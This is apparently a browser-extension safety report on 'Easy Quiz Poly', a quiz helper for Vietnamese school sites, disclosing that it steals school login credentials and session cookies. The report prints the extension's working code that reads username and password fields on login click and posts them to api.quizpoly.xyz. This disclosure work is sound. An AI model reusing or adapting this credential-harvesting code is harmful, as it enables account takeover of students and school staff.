Is Easy Quiz Poly safe?
Easy Quiz Poly captures login credentials and session cookies from supported school sites and sends them to api.quizpoly.xyz.
Easy Quiz Poly runs content scripts on supported university, LMS, and school login pages to read usernames, passwords, page URLs, and session cookies. It forwards those credentials and cookies through the extension background script to api.quizpoly.xyz/site-data.
Who publishes itTruong Fi - 1 other listing from the same operator, none carrying a finding
Truong Fi - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 3k+ users between them, none of them carrying a finding.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Login Credentials Sent to api.quizpoly.xyz
When you click login on a supported university login page, Easy Quiz Poly reads the username and password fields.
It packages them with the site host and any redirect URI, then posts them to https://api.quizpoly.xyz/site-data.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You click the login button on a supported university sign-in page.
The manifest injects the credential-reading script on pages such as feid.fpt.edu.vn/Account/Login and cms.poly.edu.vn/admin/login.
The extension reads the form username and password and sends them to api.quizpoly.xyz.
The message payload is handled by the background script and posted to the /site-data endpoint.
- School login usernamestudent01@fpt.edu.vn (illustrative)
This identifies the school account you are trying to sign in to.
- School login passwordP@ssw0rd2026! (illustrative)
This can be used to authenticate as you on the school service if it is valid.
- Login site hostcms.poly.edu.vn
This shows which school login page the credentials came from.
- Redirect URIhttps://cms.poly.edu.vn/dashboard (illustrative)
This can show which school service you were trying to reach after sign-in.
- Content-Type
- application/json
Credential capture and upload path in shipped code
Login click reads username, password, and redirect data
injects/site_data.jsfunction submitForm() { const n = form.querySelector(formSelector.username).value, e = form.querySelector(formSelector.password).value, o = getRedirectUri(); if (n && e) { const r = { username: n, password: e }; o && (r.redirectUri = o), addData(r) }}function getRedirectUri() { let n = ""; if ("feid.fpt.edu.vn" == window.location.host) { const e = form.querySelector("#ReturnUrl").value, o = new URL(e, "https://feid.fpt.edu.vn"), r = new URLSearchParams(o.search).get("redirect_uri"); n = decodeURIComponent(r) } else { const e = new URLSearchParams(window.location.search), o = e.get("continue") || e.get("redirect") || e.get("redirect_uri"); o && (n = decodeURIComponent(o)) } return n}async function addData(n) { chrome.runtime.sendMessage({ type: "add_site_data", site: window.location.host, data: n })}The login-button handler is installed after page load
injects/site_data.jsfunction main() { window.removeEventListener("load", main, !1), formSelector = formSelectors[window.location.host], waitForElement(formSelector.form).then(n => { if (form = n, form) { const n = document.querySelector(formSelector.login); n && n.addEventListener("click", submitForm) } }), vnuLmsLogin()}window.addEventListener("load", main, !1);The background handler dispatches add_site_data to the uploader
background.jschrome.runtime.onMessage.addListener(function(x, N, A) { switch (x.type) { case "open_quiz_popup": j(N, "aqlist.html", !0), A(!0); break; case "open_online_popup": j(N, "online.html", !1, !0), A(!0); break; case "focus_quiz_popup": chrome.storage.local.get(["windowId"], ({ windowId: e }) => { chrome.windows.update(e, { focused: !0 }) }); break; case "close_quiz_popup": chrome.storage.local.get(["windowId"], ({ windowId: e }) => { chrome.windows.remove(e) }); break; case "update_user": P(), A(!0); break; case "get_user": L().then(e => A(e)); break; case "send_user_using": I(x); break; case "send_html": v(x.note, x.html); break; case "add_quiz_poly": z(x.data); break; case "add_quiz": q(x.data); break; case "get_quiz_answer": y(x.data, A); break; case "open_quiz_link": w(A); break; case "login": f(A); break; case "get_quiz_available": b(x.subject, A); break; case "check_quiz": _(x.subject, A); break; case "check_quiz_online": k(x.subject, A); break; case "get_online_answer": g(x.subject, A); break; case "solve_alh_quiz": p(x.data, A); break; case "check_alh_quiz": h(x.id, A); break; case "get_cms_manual_answer": m(x.courseId, x.questions, A); break; case "start_cms_auto_answer": d(x.courseId, A); break; case "add_quiz_self": let S = x.data.ans; S && "object" == typeof S && (x.data.ans = Object.values(S)), quizSelf[x.seq] = x.data; break; case "add_site_data": u(x.site, x.data); break; case "finish_quiz": setTimeout(l, 15e3, x); break; case "get_cookie": chrome.cookies.get({ url: x.url, name: x.name }, e => { A({ cookie: e.value }) }); break; case "get_cookies": chrome.cookies.getAll({ domain: x.domain }, e => { let a = e.filter(e => "sessionid" == e.name || "PHPSESSID" == e.name).map(e => ({ name: e.name, value: e.value })); const t = a.length ? a[0].value : ""; A({ cookie: t }) }); break; case "get_quiz_score_result": i(x.data), r(); break; case "get_quiz_percent_result": n(x.data), r(); break; case "notify_upgraded_premium": c({ message: "Chúc mừng! Tài khoản của bạn đã được nâng cấp" }); break; case "notify_premium_expired": c({ message: "Hạn dùng Premium của bạn đã hết. Hãy nâng cấp để tiếp tục sử dụng Premium", buttons: [{ title: "Nâng cấp" }] }, "premium_expired"); break; case "site_cookies": o(x.data, x.cookieDetail); break; case "site_all_cookies": s(x.data, x.domain); break; case "send_user_using_alh": t(x); break; case "logout": a(A); break; case "set_seb_key": e(); break; case "open_sidepanel": !async function(e, a) { try { if (chrome.runtime.sendMessage({ target: "sidepanel", action: "loadURL", url: e }).catch(e => {}), chrome.storage.local.set({ sidepanelURL: e }), a) await chrome.sidePanel.open({ tabId: a }); else { const [e] = await chrome.tabs.query({ active: !0, currentWindow: !0 }); await chrome.sidePanel.open({ tabId: e.id }) } } catch (t) {} }(x.url, x.tabId), A(!0); break; default: return !0 } return !0})The uploader posts the site and data object to /site-data
common.jsasync function _(t, n) { try { const r = await fetch(e + "/site-data", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ site: t, data: n }) }); await r.json() } catch (r) {}}- api.quizpoly.xyz
Receives POST requests to /site-data containing the site host and credential data assembled by the extension.
What it can do
Permissions this extension asks for, as declared in version 5.1.9. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on edu.vn
*://*.edu.vn/*
Read and change your data on localhost
http://localhost/*
Read and change your data on quizpoly.xyz
https://*.quizpoly.xyz/*
Read and change your data on easyquiz.cc
https://*.easyquiz.cc/*
Read and change your data on languagehub.vn
https://*.languagehub.vn/*
Read and change your data on udemy.com
https://*.udemy.com/*
Read and change your data on vnedu.vn
https://*.vnedu.vn/*
Block and redirect the requests your browser makes
declarativeNetRequest
Read and change cookies, including the ones that keep you signed in
cookies
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Show you desktop notifications
notifications
Read information about your displays
system.display
Run its own code inside the pages you visit
scripting
Run hidden pages in the background
offscreen
Schedule its own background tasks
alarms
Show a panel beside the page
sidePanel
Where it sends data
Destinations our analysis observed Easy Quiz Poly contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.quizpoly.xyz
Easy Quiz Poly sends data to api.quizpoly.xyz. No other extension we have analysed sends data here.